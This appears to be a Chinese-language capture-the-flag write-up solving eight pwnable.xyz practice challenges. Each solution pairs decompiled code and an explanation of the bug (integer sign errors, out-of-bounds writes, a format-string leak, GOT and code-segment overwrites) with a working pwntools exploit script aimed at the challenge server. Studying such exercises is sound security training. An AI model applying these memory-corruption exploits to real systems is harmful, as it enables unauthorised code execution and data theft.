pwnable.xyz 1-8题题解
- sub
注意整数符号 - misalignment
注意内存分布为小端序 - welcome
注意malloc分配大小有限制,过大返回null,数组指针定位 - add
数组偏移写地址 - grownup
strcpy时会带入一个\x00,格式化字符串 - note
写got表 - xor
.init_array段 - two targets
如果scanf的地址可控,则可任意地址写
sub
_isoc99_scanf("%u %u", &v4, &v5);
if ( v4 <= 4918 && v5 <= 4918 )
{
if ( v4 - v5 == 4919 )
system("cat /flag");
}
很简单v4=4918,v5=-1即可
注意代码中整数的符号
misalignment
目标触发win函数
*(_QWORD *)((char *)v5 + 7) = 0xDEADBEEFLL;
while ( (unsigned int)_isoc99_scanf("%ld %ld %ld", &v6, &v7, &v8) == 3 && v8 <= 9 && v8 >= -7 )
{
v5[v8 + 6] = v6 + v7;
printf("Result: %ld\n", v5[v8 + 6]);
}
if ( *(_QWORD *)((char *)v5 + 7) == 0xB000000B5LL )
win();
给一个地址赋值时,注意小端序,0xB000000B5在内存中为
b50000000b
由于是8位一组赋值所以
from pwn import *
#p= process("./challenge")
p=remote("svc.pwnable.xyz",30003)
context.log_level='debug'
p.writeline("-5404319552844595200 0 -6")
p.readuntil("Result: ")
p.writeline("184549376 0 -5")
p.readuntil("Result: ")
p.writeline("1 1 1000")
p.interactive()
welcome
puts("Welcome.");
v3 = malloc(0x40000uLL);
*v3 = 1LL;
_printf_chk(1LL, "Leak: %p\n", v3);
_printf_chk(1LL, "Length of your message: ", v4);
size = 0LL;
_isoc99_scanf("%lu", &size);
v5 = (char *)malloc(size);
_printf_chk(1LL, "Enter your message: ", v6);
read(0, v5, size);
v7 = size;
v5[size - 1] = 0;
write(1, v5, v7);
if ( !*v3 )
system("cat /flag");
return 0LL;
当malloc一个过大的值时,malloc会返回null,此时v5->0,v5[size-1]=size-1
即可把目标地址覆盖为0
from pwn import *
p= process("./challenge")
p=remote("svc.pwnable.xyz",30000)
context.log_level='debug'
p.readuntil(": ")
leak = p.readline()
p.readuntil("message: ")
lens=int(leak,16)+1
p.writeline(str(lens))
p.readuntil("message: ")
p.writeline("A")
p.interactive()
add
目标触发win函数
while ( 1 )
{
v4 = 0LL;
v5 = 0LL;
v6 = 0LL;
memset(v7, 0, 0x50uLL);
printf("Input: ", argv, v7);
if ( (unsigned int)__isoc99_scanf("%ld %ld %ld", &v4, &v5, &v6) != 3 )
break;
v7[v6] = v4 + v5;
argv = (const char **)v7[v6];
printf("Result: %ld", argv);
}
result = 0;
__readfsqword(0x28u);
return result;
}
由于v7在栈上 v6可控,于是可以直接修改main的返回地址
from pwn import *
#p= process("./challenge")
p=remote("svc.pwnable.xyz",30002)
context.log_level='debug'
#gdb.attach(p,"""
#b printf
#c
#finish
#"""
#)
p.readuntil("Input: ")
p.writeline("4196386 0 13")
p.readuntil("Input: ")
p.writeline("\x00")
p.interactive()
0x400822是win函数的返回地址
###grownup
flag位置如下
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *src; // ST08_8
__int64 buf; // [rsp+10h] [rbp-20h]
__int64 v6; // [rsp+18h] [rbp-18h]
unsigned __int64 v7; // [rsp+28h] [rbp-8h]
v7 = __readfsqword(0x28u);
setup();
buf = 0LL;
v6 = 0LL;
printf("Are you 18 years or older? [y/N]: ", argv);
*((_BYTE *)&buf + (signed int)((unsigned __int64)read(0, &buf, 0x10uLL) - 1)) = 0;
if ( (_BYTE)buf != 'y' && (_BYTE)buf != 'Y' )
return 0;
src = (char *)malloc(0x84uLL);
printf("Name: ", &buf);
read(0, src, 0x80uLL);
strcpy(usr, src);
printf("Welcome ", src);
printf(qword_601160, usr);
return 0;
}
最后一行qword_601160作为format
unsigned int setup()
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
signal(14, (__sighandler_t)handler);
qword_601160 = &byte_601168;
byte_601168 = '%';
byte_601169 = 's';
byte_60116A = '\n';
return alarm(0x3Cu);
}
bss段如下
如果把usr写满0x80位,strcpy会多带入一个\x00
将0x601160原本的值0x601168覆盖成0x601100
而0x601100位置是可控的,即可触发格式化字符串漏洞
p=remote("svc.pwnable.xyz",30004)
context.log_level='debug'
p.readuntil(": ")
p.write("y\x00\x00\x00\x00\x00\x00\x00"+p64(0x601080))
p.readuntil(": ")
p.writeline("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcccccccccccc%x,%x,%x,%x,%x,%x,%x,%x,%s,%x,%xcccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc")
p.interactive()
利用%x打印栈上的地址,然后由于y的时候能多输入字符,于是打印flag变量地址0x601080
###note
目标 触发win函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
const char *v3; // rdi
int v4; // eax
setup();
v3 = "Note taking 101.";
puts("Note taking 101.");
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
print_menu(v3);
v4 = read_int32(v3, argv);
if ( v4 != 1 )
break;
edit_note();
}
if ( v4 != 2 )
break;
edit_desc();
}
if ( !v4 )
break;
v3 = "Invalid";
puts("Invalid");
}
return 0;
}
主要是edit_note,edit_desc俩个函数
void __fastcall edit_note(__int64 a1, __int64 a2)
{
int v2; // ST04_4
void *buf; // ST08_8
printf("Note len? ");
v2 = read_int32("Note len? ", a2);
buf = malloc(v2);
printf("note: ");
read(0, buf, v2);
strncpy(s, (const char *)buf, v2);
free(buf);
}
可以分配任意大小内存给buf,然后赋值给s,显然有个溢出
bss段如下
可以覆盖全局的buf指针
ssize_t edit_desc()
{
if ( !buf )
buf = malloc(0x20uLL);
printf("desc: ");
return read(0, buf, 0x20uLL);
}
edit可以给buf指针的位置写20个字节,由于不知道栈地址,直接写got表即可
p=remote("svc.pwnable.xyz",30016)
context.log_level='debug'
p.readuntil("> ")
p.writeline("1")
p.readuntil("? ")
p.writeline("1000")
sleep(1)
p.readuntil("note: ")
p.writeline("A"*32+p64(0x601210))
p.readuntil("> ")
p.writeline("2")
#gdb.attach(p)
p.readuntil("desc: ")
p.write(p64(0x40093c))
p.readuntil("> ")
p.writeline("1")
p.readuntil("? ")
p.writeline("10")
p.readuntil(": ")
p.write("AAA")
p.interactive()
xor
目标触发win函数
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-24h]
__int64 v4; // [rsp+10h] [rbp-20h]
__int64 v5; // [rsp+18h] [rbp-18h]
__int64 v6; // [rsp+20h] [rbp-10h]
unsigned __int64 v7; // [rsp+28h] [rbp-8h]
v7 = __readfsqword(0x28u);
puts("The Poopolator");
setup("The Poopolator", argv);
while ( 1 )
{
v6 = 0LL;
printf(format);
v3 = _isoc99_scanf("%ld %ld %ld", &v4, &v5, &v6);
if ( !v4 || !v5 || !v6 || v6 > 9 || v3 != 3 )
break;
result[v6] = v5 ^ v4;
printf("Result: %ld\n", result[v6]);
}
exit(1);
}
可以任意地址写,但是got表不可写
在init_array中的函数会在main之前被执行。找到
代码段被赋予了可写权限于是
from pwn import *
result_addr = 0x202200
win_addr = 0xa21
exit_addr =0xac8
p=process("./challenge")
p=remote("svc.pwnable.xyz",30029)
e = ELF("./challenge")
e.asm(exit_addr,"call "+str(win_addr))
numb = u64(e.read(exit_addr,5).ljust(8,"\x00"))
context.log_level="debug"
p.readuntil(" ")
off= (exit_addr-result_addr)/8
p.sendline("1 "+str(numb)+" "+str(off))
p.sendlineafter(" ","fuck")
p.interactive()
two targets
目标触发win函数
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char *v3; // rsi
const char *v4; // rdi
signed int v5; // eax
char s; // [rsp+10h] [rbp-40h]
__int64 v7; // [rsp+30h] [rbp-20h]
char *v8; // [rsp+40h] [rbp-10h]
unsigned __int64 v9; // [rsp+48h] [rbp-8h]
v9 = __readfsqword(0x28u);
setup(*(_QWORD *)&argc, argv, envp);
v3 = 0LL;
v4 = &s;
memset(&s, 0, 0x38uLL);
while ( 1 )
{
while ( 1 )
{
print_menu(v4, v3);
v5 = read_int32();
if ( v5 != 2 )
break;
printf("nationality: ");
v3 = (char *)&v7;
v4 = "%24s";
__isoc99_scanf("%24s", &v7);
}
if ( v5 > 2 )
{
if ( v5 == 3 )
{
printf("age: ");
v3 = v8;
v4 = "%d";
__isoc99_scanf("%d", v8);
}
else if ( v5 == 4 )
{
v4 = &s;
if ( (unsigned __int8)auth((__int64)&s) )
win(&s);
}
else
{
LABEL_14:
v4 = "Invalid";
puts("Invalid");
}
}
else
{
if ( v5 != 1 )
goto LABEL_14;
printf("name: ");
v3 = &s;
v4 = "%32s";
__isoc99_scanf("%32s", &s);
}
}
}
auth函数的传入的s满足某种条件即可拿到flag。s可控
_BOOL8 __fastcall auth(__int64 a1)
{
signed int i; // [rsp+18h] [rbp-38h]
char s1[8]; // [rsp+20h] [rbp-30h]
__int64 v4; // [rsp+28h] [rbp-28h]
__int64 v5; // [rsp+30h] [rbp-20h]
__int64 v6; // [rsp+38h] [rbp-18h]
unsigned __int64 v7; // [rsp+48h] [rbp-8h]
v7 = __readfsqword(0x28u);
*(_QWORD *)s1 = 0LL;
v4 = 0LL;
v5 = 0LL;
v6 = 0LL;
for ( i = 0; (unsigned int)i <= 0x1F; ++i )
s1[i] = ((*(_BYTE *)(a1 + i) >> 4) | 16 * *(_BYTE *)(a1 + i)) ^ *((_BYTE *)main + i);
return strncmp(s1, &s2, 0x20uLL) == 0;
}
s2的值已知
这里可以先把s2转换为数组,然后在hex页面中dump出来即可,main也已知,于是
smain="554889E54883EC5064488B042528000000488945F831C0E824FEFFFF488D45C0"
snow= "11DECF10DF75BBA5431E9DC2E3BFF5D6967FBEB0BFB7961DA8BB0AD9BFC90DFF"
s=""
for i in range(32):
sbak=hex(int(smain[2*i:2*i+2],16)^int(snow[2*i:2*i+2],16))[2:]
snew=sbak.rjust(2,"\x00")[::-1]
s+=snew
s=s.decode("hex")
from pwn import *
context.log_level="debug"
p=process("./challenge")
p=remote("svc.pwnable.xyz",30031)
p.sendlineafter("> ","1")
#gdb.attach(p,"b strncmp")
p.sendafter(": ",s)
p.sendlineafter("> ","4")
p.interactive()
这是re的做法。看看怎么pwn。
看2和3的操作,v7,v8俩次scanf于是可以任意地址写
改写got表即可
from pwn import *
context.log_level="debug"
strncpy_got=0x00603018
win_addr=0x40099C
#p=process("./challenge")
p=remote("svc.pwnable.xyz",30031)
p.sendlineafter("> ","2")
#gdb.attach(p,"b strncmp")
p.sendlineafter(": ","A"*16+p64(strncpy_got))
p.sendlineafter("> ","3")
p.sendlineafter(": ","4196764")
p.sendlineafter("> ","4")
p.interactive()
嫌麻烦还是看pdf吧
一起学pwn系列1.pdf (1.3 MB)